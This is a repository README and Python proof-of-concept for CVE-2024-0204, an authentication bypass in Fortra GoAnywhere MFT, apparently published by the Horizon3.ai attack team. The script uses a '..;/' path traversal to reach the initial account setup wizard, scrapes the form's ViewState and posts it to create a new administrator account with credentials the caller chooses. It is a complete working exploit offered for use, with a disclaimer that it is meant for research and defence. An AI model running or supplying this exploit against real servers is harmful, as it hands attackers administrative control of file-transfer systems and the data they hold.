├── README.md
└── CVE-2024-0204.py


/README.md:
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 1 | # CVE-2024-0204: Authentication Bypass in GoAnywhere MFT
 2 | Script to create a new admin user in GoAnywhere MFT.
 3 | 
 4 | ## Blog Post
 5 | More details here:
 6 | [https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive](https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/)
 7 | 
 8 | ## Usage
 9 | Password must be at least 8 characters long to meet GoAnywhere MFT complexity requirements.
10 | 
11 | ```
12 | % python3 CVE-2024-0204.py -h
13 | usage: CVE-2024-0204 GoAnywhere Authentication Bypass [-h]
14 |                                                       endpoint username
15 |                                                       password
16 | 
17 | positional arguments:
18 |   endpoint    The endpoint URL (e.g., http://127.0.0.1:8080)
19 |   username    New admin username
20 |   password    New admin password
21 | 
22 | optional arguments:
23 |   -h, --help  show this help message and exit
24 | ```
25 | 
26 | ## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
27 | *  [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
28 | *  [James Horseman](https://twitter.com/JamesHorseman2)
29 | *  [Zach Hanley](https://twitter.com/hacks_zach)
30 | 
31 | ## Disclaimer
32 | This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
33 | 


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/CVE-2024-0204.py:
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 1 | import requests
 2 | from bs4 import BeautifulSoup
 3 | import argparse
 4 | 
 5 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
 6 | 
 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 8 | 
 9 | 
10 | def validate_password(password):
11 |     if len(password) < 8:
12 |         raise argparse.ArgumentTypeError("Password must be at least 8 characters long.")
13 |     return password
14 | 
15 | 
16 | def main():
17 |     parser = argparse.ArgumentParser("CVE-2024-0204 GoAnywhere Authentication Bypass")
18 |     parser.add_argument("endpoint", help="The endpoint URL (e.g., http://127.0.0.1:8080)")
19 |     parser.add_argument("username", help="New admin username")
20 |     parser.add_argument("password", help="New admin password", type=validate_password)
21 |     args = parser.parse_args()
22 |     url = f"{args.endpoint}/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
23 | 
24 |     data = {
25 |         "j_id_u:creteAdminGrid:username": args.username,
26 |         "j_id_u:creteAdminGrid:password_hinput": args.password,
27 |         "j_id_u:creteAdminGrid:password": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
28 |         "j_id_u:creteAdminGrid:confirmPassword_hinput": args.password,
29 |         "j_id_u:creteAdminGrid:confirmPassword": "%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2",
30 |         "j_id_u:creteAdminGrid:submitButton": "",
31 |         "createAdminForm_SUBMIT": 1,
32 |     }
33 | 
34 |     s = requests.session()
35 |     r = s.get(url, verify=False)
36 |     if r.status_code == 401:
37 |         raise Exception("Endpoint does not appear to be vulnerable.")
38 | 
39 |     soup = BeautifulSoup(r.text, "html.parser")
40 |     input_field = soup.find('input', {'name': 'javax.faces.ViewState'})
41 |     data['javax.faces.ViewState'] = input_field['value']
42 |     r = s.post(url, verify=False, data=data)
43 | 
44 |     if r.status_code != 200:
45 |         raise Exception("Failed to create new admin user")
46 | 
47 |     soup = BeautifulSoup(r.text, "html.parser")
48 |     error_message = soup.find("span", {"class": "ui-messages-error-summary"})
49 |     if error_message is not None:
50 |         raise Exception(error_message.text)
51 | 
52 | 
53 | if __name__ == "__main__":
54 |     main()
55 | 


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